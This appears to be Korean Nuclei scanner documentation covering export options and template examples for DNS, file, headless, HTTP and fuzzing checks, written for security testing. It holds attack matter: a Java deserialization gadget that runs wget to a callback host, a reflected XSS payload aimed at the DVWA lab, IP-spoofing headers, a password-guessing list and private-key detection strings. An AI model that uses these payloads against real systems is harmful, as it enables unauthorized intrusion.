๊ฐ™์€ ์—์…‹์— ๋Œ€ํ•ด ์ฃผ๊ธฐ์ ์ธ ์Šค์บ”์„ ์‹คํ–‰ํ•œ๋‹ค๋ฉด, ์‹ ๊ณ  ๋ชจ๋“ˆ์ด ๋น„๊ตํ•˜๊ณ  ์œ ๋‹ˆํฌํ•œ ์ด์Šˆ๋“ค์— ๋Œ€ํ•œ ์‹ ๊ณ  ๋‚ด์—ญ์„ ์ƒ์„ฑ ํ•˜๋Š” ์ฃผ์–ด์ง„ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ์˜ ์œ ํšจํ•œ ๋ฐœ๊ฒฌ์— ๋Œ€ํ•ด์„œ ๋กœ์ปฌ ๋ณต์‚ฌ๋ณธ์„ ์ƒ์„ฑํ•˜๋Š” -rdb, -report-db ํ”Œ๋ž˜๊ทธ๋ฅผ ๊ณ ๋ คํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

bash
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml -rdb prod

Markdown ์ถ”์ถœ

Nuclei๋Š” -me, -markdown-export ํ”Œ๋ž˜๊ทธ๋ฅผ ํ†ตํ•ด ์œ ํšจํ•œ ๋ฐœ๊ฒฌ๋“ค์„ ๋งˆํฌ๋‹ค์šด ํ˜•์‹์œผ๋กœ ์ถ”์ถœํ•˜๋Š” ๊ฒƒ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”Œ๋ž˜๊ทธ๋Š” ๋งˆํฌ๋‹ค์šด ํ˜•์‹์˜ ๊ฒฐ๊ณผ๋ฅผ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด ์ž…๋ ฅ์œผ๋กœ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

๋งˆํฌ๋‹ค์šด ํ˜•์‹์˜ ๊ฒฐ๊ณผ์—์„œ ์š”์ฒญ/์‘๋‹ต์„ ํฌํ•จํ•˜๋Š” ๊ฒƒ์€ ์„ ํƒ ์‚ฌํ•ญ์ž…๋‹ˆ๋‹ค. ํ˜น์€ -irr, -include-rr ํ”Œ๋ž˜๊ทธ๊ฐ€ -me์™€ ํ•จ๊ป˜ ์‚ฌ์šฉ๋  ๋•Œ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

bash
nuclei -l urls.txt -t cves/ -irr -markdown-export reports

SARIF ์ถ”์ถœ

Nuclei๋Š” -se, -sarif-export ํ”Œ๋ž˜๊ทธ๋ฅผ ํ†ตํ•ด ์œ ํšจํ•œ ๋ฐœ๊ฒฌ๋“ค์„ SARIF ํ˜•์‹์œผ๋กœ ์ถ”์ถœํ•˜๋Š” ๊ฒƒ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”Œ๋ž˜๊ทธ๋Š” SARIF ํ˜•์‹์˜ ๊ฒฐ๊ณผ๋ฅผ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด ์ž…๋ ฅ์œผ๋กœ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

์š”์ฒญ-์‘๋‹ต ์ •๋ณด๋Š” ๋งˆํฌ๋‹ค์šด ๋ฌธ๋ฒ• ํ˜•์‹์ด๊ณ , SARIF์˜ ์‘๋‹ต ์˜์—ญ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค.

bash
nuclei -l urls.txt -t cves/ -sarif-export report.sarif

Scan **Metrics**

Nuclei๋Š” localhost:9092/metrics ์— ์ ‘์† ๊ฐ€๋Šฅํ•˜๋ฉฐ -metrics ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋กœ์ปฌ ํฌํŠธ 9092์—์„œ ์‹คํ–‰ ์ค‘์ธ scan metrics๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ธฐ๋ณธ ํฌํŠธ๋Š” -metrics-port ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„ค์ • ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

nuclei -t cves/ -l urls.txt -metrics ๋กœ nuclei๊ฐ€ ์‹คํ–‰๋œ ๋™์•ˆ metrics๋กœ ์‘๋‹ต์„ ์š”์ฒญํ•œ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.

bash
curl -s localhost:9092/metrics | jq .
json
{
  "duration": "0:00:03",
  "errors": "2",
  "hosts": "1",
  "matched": "0",
  "percent": "99",
  "requests": "350",
  "rps": "132",
  "startedAt": "2021-03-27T18:02:18.886745+05:30",
  "templates": "256",
  "total": "352"
}

Passive Scan

Nuclei๋Š” ํŒŒ์ผ ์ง€์›์„ ํ†ตํ•ด HTTP ๊ธฐ๋ฐ˜ ํ…œํ”Œ๋ฆฟ์— ๋Œ€ํ•œ ์ˆ˜๋™ ๋ชจ๋“œ ์Šค์บ”์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์„ ํ†ตํ•ด ๋‹ค๋ฅธ ๋„๊ตฌ์—์„œ ์ˆ˜์ง‘๋œ ๋กœ์ปฌ์— ์ €์žฅ๋œ HTTP ์‘๋‹ต ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•ด HTTP ๊ธฐ๋ฐ˜ ํ…œํ”Œ๋ฆฟ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

sh
nuclei -passive -target http_data

!!! info ""

text
์ˆ˜๋™๋ชจ๋“œ๋Š” `{{BasedURL}}` ํ˜น์€ `{{BasedURL/}}`์„ ๊ธฐ๋ณธ ๊ฒฝ๋กœ๋กœ ๊ฐ€์ง€๋Š” ํ…œํ”Œ๋ฆฟ๋“ค์— ๋Œ€ํ•ด ์ œํ•œ๋ฉ๋‹ˆ๋‹ค.

**๊ธฐ์—ฌ**

Nuclei templates ๋Š” nuclei ํ”„๋กœ์ ํŠธ์˜ ๊ธฐ๋ฐ˜์ž…๋‹ˆ๋‹ค. ์ด ํ”„๋กœ์ ํŠธ๋ฅผ ์œ„ํ•ด ์ƒˆ๋กœ์šด ํƒฌํ”Œ๋ฆฟ์„ ์ž‘์„ฑํ•˜๊ฑฐ๋‚˜ ์ œ์ถœํ•ด์ฃผ์‹œ๋Š” ๋ถ„๊ป˜ ๊ฐ์‚ฌ๋“œ๋ฆฝ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด๋Ÿฌํ•œ ๊ธฐ์—ฌ๋Š” ์ €ํฌ๊ฐ€ ํ”„๋กœ์ ํŠธ๋ฅผ ๊ณ„์† ์ง€์†ํ•  ํฐ ๋™๊ธฐ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

License

Nuclei is distributed under MIT License.


File: docs/kr/template-examples/dns.md

๊ธฐ๋ณธ ํ…œํ”Œ๋ฆฟ

์ž…๋ ฅ์— ๋Œ€ํ•œ CNAME ๋ ˆ์ฝ”๋“œ๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•œ ๊ธฐ๋ณธ์ ์ธ DNS ์š”์ฒญ์ž…๋‹ˆ๋‹ค.

yaml
id: basic-dns-example

info:
  name: Test DNS Template
  author: pdteam
  severity: info

dns:
  - name: "{{FQDN}}"
    type: CNAME
    class: inet
    recursion: true
    retries: 3
    matchers:
      - type: word
        words:
          # ์‘๋‹ต์€ CNAME ๋ ˆ์ฝ”๋“œ๋ฅผ ๋ฐ˜๋“œ์‹œ ํฌํ•จํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
          - "IN\tCNAME"

Multiple matcher

zendesk.com ๋˜๋Š” github.io์„ ๊ฐ€๋ฆฌํ‚ค๋Š” CNAME ๋ ˆ์ฝ”๋“œ๋กœ ์„œ๋ธŒ๋„๋ฉ”์ธ์„ ํƒ์ง€ํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ Matcher๋“ค์„ ๋ณด์—ฌ์ฃผ๋Š” ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.

yaml
id: multiple-matcher

info:
  name: Test DNS Template
  author: pdteam
  severity: info

dns:
  - name: "{{FQDN}}"
    type: CNAME
    class: inet
    recursion: true
    retries: 5
    matchers-condition: or
    matchers:
      - type: word
        name: zendesk
        words:
          - "zendesk.com"
      - type: word
        name: github
        words:
          - "github.io"

File: docs/kr/template-examples/file.md

๊ธฐ๋ณธ ํŒŒ์ผ ํ…œํ”Œ๋ฆฟ

์ œ๊ณต๋œ ํŒŒ์ผ์—์„œ ํŒจํ„ด ์ฒดํฌ๋ฅผ ํ•˜๋Š” ํ…œํ”Œ๋ฆฟ์ž…๋‹ˆ๋‹ค.

yaml
id: ssh-public-key

info:
  name: SSH Public Key Detect
  author: pd-team
  severity: low

file:
  - extensions:
      - pub
    max-size: 1024 # read very small chunks

    matchers:
      - type: word
        words:
          - "ssh-rsa"

๋น„์žฌ๊ท€, ์ œ์™ธ ๋ชฉ๋ก ํ™•์žฅ

์•„๋ž˜์˜ ํ…œํ”Œ๋ฆฟ์€ ์œ„์˜ ํ…œํ”Œ๋ฆฟ๊ณผ ๋™์ผํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ, ๋น„์žฌ๊ท€ ์˜ต์…˜๊ณผ ํ•จ๊ป˜ ์ œ์™ธ ๋ชฉ๋ก์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

yaml
id: ssh-private-key

info:
  name: SSH Private Key Detect
  author: pd-team
  severity: high

file:
  - extensions:
      - all
    denylist:
      - pub
    no-recursive: true
    max-size: 1024 # read very small chunks

    matchers:
      - type: word
        words:
          - "BEGIN OPENSSH PRIVATE KEY"
          - "BEGIN PRIVATE KEY"
          - "BEGIN RSA PRIVATE KEY"
          - "BEGIN DSA PRIVATE KEY"
          - "BEGIN EC PRIVATE KEY"
          - "BEGIN PGP PRIVATE KEY BLOCK"
          - "ssh-rsa"

File: docs/kr/template-examples/headless.md

๊ธฐ๋ณธ ํ—ค๋“œ๋ฆฌ์Šค ํƒ์ƒ‰ ์˜ˆ์‹œ

์ด ํ…œํ”Œ๋ฆฟ์€ ํ—ค๋“œ๋ฆฌ์Šค ๋ธŒ๋ผ์šฐ์ €์˜ URL์„ ๋ฐฉ๋ฌธํ•˜์—ฌ ๋กœ๋“œ๋  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค.

yaml
id: basic-headless-request

info:
  name: Basic Headless Request
  author: pdteam
  severity: info

headless:
  - steps: 
    - action: navigate
      args:
        url: "{{BaseURL}}" 
    - action: waitload

ํ—ค๋“œ๋ฆฌ์Šค ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๊ฐ์ง€

์•„๋ž˜ ํ…œํ”Œ๋ฆฟ์€ Nuclei ํ—ค๋“œ๋ฆฌ์Šค ๊ธฐ๋Šฅ์ด ์žˆ๋Š” ํŽ˜์ด์ง€์—์„œ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์„ ๊ฐ์ง€ํ•ฉ๋‹ˆ๋‹ค. ํƒ์ง€๋ฅผ ์œ„ํ•œ ์ฝ”๋“œ๋Š” https://github.com/msrkp/PPScan์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ํ•ต์˜ ์Šคํฌ๋ฆฝํŠธ ์ฃผ์ž… ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์— ๋Œ€ํ•œ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํƒ์ง€๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

yaml
id: prototype-pollution-check

info:
  name: Prototype Pollution Check
  author: pd-team
  severity: medium
  reference: https://github.com/msrkp/PPScan

headless:
  - steps:
      - action: setheader
        args:
          part: response
          key: Content-Security-Policy
          value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
      - action: setheader
        args:
          part: response
          key: X-Frame-Options
          value: foo
      - action: setheader
        args:
          part: response
          key: If-None-Match
          value: foo
      # Set the hook to override window.data for xss detection
      - action: script
        args:
          hook: true
          code: |
            // Hooking code adapted from https://github.com/msrkp/PPScan/blob/main/scripts/content_script.js
            (function() {window.alerts = [];

            function logger(found) {
            	window.alerts.push(found);
            }

            function check() {
                loc = location.href;

                if (loc.indexOf("e32a5ec9c99") >= 0 && loc.search("a0def12bce") == -1) {
                    setTimeout(function() {
                        if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60") {
                            logger(location.href);
                        }
                        var url = new URL(location.origin + location.pathname);
                        url.hash = "__proto__[a0def12bce]=ddcb362f1d60&__proto__.a0def12bce=ddcb362f1d60&dummy";
                        location = url.href;
                    }, 5 * 1000);
                } else if (loc.search("a0def12bce") != -1) {
                    setTimeout(function() {
                        if (Object.prototype.a0def12bce == "ddcb362f1d60") {
                            logger(location.href);
                        }
                        window.close();
                    }, 5 * 1000);
                } else {
                    var url = new URL(loc);
                    url.searchParams.append("__proto__[e32a5ec9c99]", "ddcb362f1d60");
                    url.searchParams.append("__proto__.e32a5ec9c99", "ddcb362f1d60");
                    location = url.href;
                }
            }

            window.onload = function() {
                if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" ||  Object.prototype.a0def12bce == "ddcb362f1d60") {
                    logger(location.href);
                } else {
                    check();
                }
            };

            var timerID = setInterval(function() {
                if (Object.prototype.e32a5ec9c99 == "ddcb362f1d60" || Object.prototype.a0def12bce == "ddcb362f1d60") {
                    logger(location.href);
                    clearInterval(timerID);
                }
            }, 5 * 1000)})();
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload
      - action: script
        name: alerts
        args:
          code: "window.alerts"
    matchers:
      - type: word
        part: alerts
        words:
          - "__proto__"
    extractors:
      - type: kval
        part: alerts
        kval:
          - alerts

ํ—ค๋“œ๋ฆฌ์Šค ๋ชจ๋“œ๋กœ DVWA XSS ์žฌํ˜„

์ด ํ…œํ”Œ๋ฆฟ์€ DVWA(Damn Vulnerable Web App)์— ๋กœ๊ทธ์ธํ•˜๊ณ  Reflected XSS๋ฅผ ์ž๋™์œผ๋กœ ์žฌํ˜„ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๋ฉฐ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ์‹คํ–‰๋œ ๊ฒฝ์šฐ ์ผ์น˜ ํ•ญ๋ชฉ์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

yaml
id: dvwa-xss-verification

info:
  name: DVWA Reflected XSS Verification
  author: pd-team
  severity: info

headless:
  - steps:
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload

      # xss ๊ฐ์ง€๋ฅผ ์œ„ํ•ด window.data๋ฅผ ์žฌ์ •์˜ํ•˜๋„๋ก ํ›„ํฌ ์„ค์ •
      - action: script
        args:
          hook: true
          code: "(function() { window.alert = function() { window.data = 'found' } })()"
      - args:
          by: x
          value: admin
          xpath: /html/body/div/div[2]/form/fieldset/input
        action: text
      - args:
          by: x
          value: password
          xpath: /html/body/div/div[2]/form/fieldset/input[2]
        action: text
      - args:
          by: x
          xpath: /html/body/div/div[2]/form/fieldset/p/input
        action: click
      - action: waitload
      - args:
          by: x
          xpath: /html/body/div/div[2]/div/ul[2]/li[11]/a
        action: click
      - action: waitload
      - args:
          by: x
          value: '"><svg/onload=alert(1)>'
          xpath: /html/body/div/div[3]/div/div/form/p/input
        action: text
      - args:
          keys: "\r" # ํ‚ค๋ณด๋“œ์˜ Enter ํ‚ค๋ฅผ ๋ˆ„๋ฆ…๋‹ˆ๋‹ค.
        action: keyboard
      - action: waitload
      - action: script
        name: alert
        args:
          code: "window.data"
    matchers:
      - part: alert
        type: word
        words:
          - "found"

DOM XSS ๊ฐ์ง€

์ด ํ…œํ”Œ๋ฆฟ์€ eval, innerHTML ๋ฐ document.write์™€ ๊ฐ™์€ ๊ณตํ†ต ์‹ฑํฌ๋ฅผ ํ›„ํ‚นํ•˜์—ฌ window.name ์†Œ์Šค์— ๋Œ€ํ•œ DOM-XSS ๊ฐ์ง€๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

yaml
id: window-name-domxss

info:
  name: window.name DOM XSS
  author: pd-team
  severity: medium

headless:
  - steps:
      - action: setheader
        args:
          part: response
          key: Content-Security-Policy
          value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
      - action: script
        args:
          hook: true
          code: |
            (function() {window.alerts = [];

            function logger(found) {
            	window.alerts.push(found);
            }

            function getStackTrace () {
              var stack;
              try {
                throw new Error('');
              }
              catch (error) {
                stack = error.stack || '';
              }
              stack = stack.split('\n').map(function (line) { return line.trim(); });
              return stack.splice(stack[0] == 'Error' ? 2 : 1);
            }
            window.name = "{{randstr_1}}'\"<>";

            var oldEval = eval;
            var oldDocumentWrite = document.write;
            var setter = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML').set;
            Object.defineProperty(Element.prototype, 'innerHTML', {
              set: function innerHTML_Setter(val) {
                if (val.includes("{{randstr_1}}'\"<>")) {
                  logger({sink: 'innerHTML', source: 'window.name', code: val, stack: getStackTrace()});
                }
                return setter.call(this, val)
              }
            });
            eval = function(data) {
              if (data.includes("{{randstr_1}}'\"<>")) {
                logger({sink: 'eval' ,source: 'window.name', code: data, stack: getStackTrace()});
              }
              return oldEval.apply(this, arguments);
            };
            document.write = function(data) {
              if (data.includes("{{randstr_1}}'\"<>")) {
                logger({sink: 'document.write' ,source: 'window.name', code: data, stack: getStackTrace()});
              }
              return oldEval.apply(this, arguments);
            };
            })();
      - args:
          url: "{{BaseURL}}"
        action: navigate
      - action: waitload
      - action: script
        name: alerts
        args:
          code: "window.alerts"
    matchers:
      - type: word
        part: alerts
        words:
          - "sink:"
    extractors:
      - type: kval
        part: alerts
        kval:
          - alerts

File: docs/kr/template-examples/helper-functions.md

ํ•จ์ˆ˜ ๋„์šฐ๋ฏธ ์˜ˆ์‹œ

Nuclei์—๋Š” ์š”์ฒญ ๋ธ”๋ก์—์„œ ๋‹ค์–‘ํ•œ ๋Ÿฐํƒ€์ž„ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ๋„์šฐ๋ฏธ ๊ธฐ๋Šฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  ๋„์šฐ๋ฏธ ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ฃผ๋Š” ์˜ˆ์ œ ํ…œํ”Œ๋ฆฟ์ž…๋‹ˆ๋‹ค.

yaml
id: helper-functions-examples

info:
  name: RAW Template with Helper Functions
  author: pdteam
  severity: info

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        01: {{base64("Hello")}}
        02: {{base64(1234)}}
        03: {{base64_decode("SGVsbG8=")}}
        04: {{base64_py("Hello")}}
        05: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
        06: {{concat("Hello", "world")}}
        07: {{contains("Hello", "lo")}}
        08: {{date_time("%Y-%M-%D")}}
        09: {{date_time("%Y-%M-%D", unix_time())}}
        10: {{date_time("%H-%m")}}
        11: {{date_time("02-01-2006 15:04")}}
        12: {{date_time("02-01-2006 15:04", unix_time())}}
        13: {{dec_to_hex(11111)}}
        14: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
        15: {{gzip("Hello")}}
        16: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
        17: {{hex_decode("6161")}}
        18: {{hex_encode("aa")}}
        19: {{hmac("sha1", "test", "scrt")}} 
        20: {{hmac("sha256", "test", "scrt")}}
        21: {{html_escape("<body>test</body>")}}
        22: {{html_unescape("&lt;body&gt;test&lt;/body&gt;")}}
        23: {{join("_", "hello", "world")}}
        24: {{len("Hello")}}
        25: {{len(5555)}}
        26: {{md5("Hello")}}
        27: {{md5(1234)}}
        28: {{mmh3("Hello")}}
        29: {{print_debug(1+2, "Hello")}}
        30: {{rand_base(5, "abc")}}
        31: {{rand_base(5, "")}}
        32: {{rand_base(5)}}
        33: {{rand_char("abc")}}
        34: {{rand_char("")}}
        35: {{rand_char()}}
        36: {{rand_int(1, 10)}}
        37: {{rand_int(10)}}
        38: {{rand_int()}}
        39: {{rand_ip("192.168.0.0/24")}}
        40: {{rand_ip("2002:c0a8::/24")}}
        41: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
        42: {{rand_text_alpha(10, "abc")}}
        43: {{rand_text_alpha(10, "")}}
        44: {{rand_text_alpha(10)}}
        45: {{rand_text_alphanumeric(10, "ab12")}}
        46: {{rand_text_alphanumeric(10)}}
        47: {{rand_text_numeric(10, 123)}}
        48: {{rand_text_numeric(10)}}
        49: {{regex("H([a-z]+)o", "Hello")}}
        50: {{remove_bad_chars("abcd", "bc")}}
        51: {{repeat("a", 5)}}
        52: {{replace("Hello", "He", "Ha")}}
        53: {{replace_regex("He123llo", "(\\d+)", "")}}
        54: {{reverse("abc")}}
        55: {{sha1("Hello")}}
        56: {{sha256("Hello")}}
        57: {{to_lower("HELLO")}}
        58: {{to_upper("hello")}}
        59: {{trim("aaaHelloddd", "ad")}}
        60: {{trim_left("aaaHelloddd", "ad")}}
        61: {{trim_prefix("aaHelloaa", "aa")}}
        62: {{trim_right("aaaHelloddd", "ad")}}
        63: {{trim_space("  Hello  ")}}
        64: {{trim_suffix("aaHelloaa", "aa")}}
        65: {{unix_time(10)}}
        66: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
        67: {{url_encode("https://projectdiscovery.io/test?a=1")}}
        68: {{wait_for(1)}}
        69: {{zlib("Hello")}}
        70: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
        71: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
        72: {{starts_with("Hello", "He")}}
        73: {{ends_with("Hello", "lo")}}
        74: {{line_starts_with("Hi\nHello", "He")}}
        75: {{line_ends_with("Hello\nHi", "lo")}}

File: docs/kr/template-examples/http.md

Basic Template

This template requests / path of URL and match string in the response.

yaml
id: basic-example

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "This is test matcher text"

Multiple matchers

This template requests / path of URL and run multiple OR based matchers against response.

yaml
id: http-multiple-matchers

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        name: php
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        part: header

      - type: word
        name: node
        words:
          - "Server: NodeJS"
          - "X-Powered-By: nodejs"
        condition: or
        part: header

      - type: word
        name: python
        words:
          - "Python/2."
          - "Python/3."
        part: header

Matchers with conditions

This template requests / path of URL and runs two matchers, one with AND conditions with string match in header and another matcher against response body.

yaml
id: matchers-conditions

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        condition: and
        part: header

      - type: word
        words:
          - "PHP"
        part: body

Multiple matcher conditions

This template requests / path of URL and runs two matchers with AND conditions, one with OR conditions with string match in header and another matcher against response body, both condition has to be true in order to match this template.

yaml
id: multiple-matchers-conditions

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        condition: or
        part: header

      - type: word
        words:
          - PHP
        part: body

Custom headers

This template requests / path of the URL as GET request with additional custom headers defined in the template.

yaml
id: custom-headers

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: GET

    # Example of sending some headers to the servers

    headers:

      X-Client-IP: 127.0.0.1
      X-Remote-IP: 127.0.0.1
      X-Remote-Addr: 127.0.0.1
      X-Forwarded-For: 127.0.0.1
      X-Originating-IP: 127.0.0.1

    path:
      - "{{BaseURL}}/server-status"

    matchers:
      - type: word
        words:
          - Apache Server Status
          - Server Version
        condition: and

POST requests

This template makes POST request to /admin endpoint with defined data as body parameter in the template.

yaml
id: post-request

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

http:
  - method: POST
    path:
      - "{{BaseURL}}/admin"

    body: 'admin=test'

    matchers:
      - type: word
        words:
          - Welcome Admin

Time based Matcher

This template is example of DSL based duration matcher that returns true when the response time matched the defined duration, in this case 6 or more than 6 seconds.

yaml
id: time-based-matcher

info:
  name: DSL based response time matcher
  author: pdteam
  severity: none

http:
  - raw:
      - |
        GET /slow HTTP/1.1

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'

File: docs/kr/template-examples/http-fuzzing.md

HTTP Intruder fuzzing

์ด ํ…œํ”Œ๋ฆฟ์€ 'clusterbomb' Intruder๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์‘๋‹ต์— ๋Œ€ํ•œ ๋ฌธ์ž์—ด ์ผ์น˜๋ฅผ ํ™•์ธํ•˜๋Š” ํ…œํ”Œ๋ฆฟ ์ •์˜ ํŽ˜์ด๋กœ๋“œ์™€ ํ•จ๊ป˜ RAW ํ˜•์‹์œผ๋กœ ์ •์˜๋œ POST ์š”์ฒญ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

yaml
id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

# ํ…œํ”Œ๋ฆฟ ํŽ˜์ด๋กœ๋“œ ์ง€์›์œผ๋กœ HTTP Intruder fuzzing.

http:

  - raw:
      - |
        POST /?username=ยงusernameยง&paramb=ยงpasswordยง HTTP/1.1
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
        Host: {{Hostname}}
        another_header: {{base64('ยงpasswordยง')}}
        Accept: */*
        body=test

    payloads:
      username:
        - admin

      password:
        - admin
        - guest
        - password
        - test
        - 12345
        - 123456

    attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb

    matchers:
      - type: word
        words:
          - "Test is test matcher text"

์—ฌ๋Ÿฌ ์š”์ฒญ fuzzing

์ด ํ…œํ”Œ๋ฆฟ์€ 'clusterbomb' Intruder๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์‘๋‹ต์— ๋Œ€ํ•œ ๋ฌธ์ž์—ด ์ผ์น˜๋ฅผ ํ™•์ธํ•˜๋Š” ๋‹จ์–ด ๋ชฉ๋ก ๊ธฐ๋ฐ˜ ํŽ˜์ด๋กœ๋“œ์™€ ํ•จ๊ป˜ RAW ํ˜•์‹์œผ๋กœ ์ •์˜๋œ POST ์š”์ฒญ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

yaml
id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

http:

  - raw:
      - |
        POST /?param_a=ยงparam_aยง&paramb=ยงparam_bยง HTTP/1.1
        User-Agent: ยงparam_aยง
        Host: {{Hostname}}
        another_header: {{base64('ยงparam_bยง')}}
        Accept: */*

        admin=test

      - |
        DELETE / HTTP/1.1
        User-Agent: nuclei
        Host: {{Hostname}}

        {{sha256('ยงparam_aยง')}} 

      - |
        PUT / HTTP/1.1
        Host: {{Hostname}}

        {{html_escape('ยงparam_aยง')}} + {{hex_encode('ยงparam_bยง'))}}

    attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb
    payloads:
      param_a: payloads/prams.txt
      param_b: payloads/paths.txt

    matchers:
      - type: word
        words:
          - "Test is test matcher text"

์ธ์ฆ์ด ํ•„์š”ํ•œ fuzzing

์ด ํ…œํ”Œ๋ฆฟ์€ ๊ฐ ์š”์ฒญ ๊ฐ„์˜ ์„ธ์…˜์„ ์œ ์ง€ ๊ด€๋ฆฌํ•˜๊ณ  ์‘๋‹ต์— ๋Œ€ํ•œ ๋ฌธ์ž์—ด ์ผ์น˜๋ฅผ ํ™•์ธํ•˜๋Š” ์ •์˜๋œ ์š”์ฒญ์œผ๋กœ ํ›„์† HTTP ์š”์ฒญ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

yaml
id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        POST /testing HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

        testing=parameter

    cookie-reuse: true # ์ฟ ํ‚ค ์žฌ์‚ฌ์šฉ์€ ๋ธŒ๋ผ์šฐ์ €์™€ ๊ฐ™์€ ๋ชจ๋“  ์š”์ฒญ ๊ฐ„์˜ ์„ธ์…˜์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.
    matchers:
      - type: word
        words:
          - "Test is test matcher text"

๋™์  ๋ณ€์ˆ˜ ์ง€์›

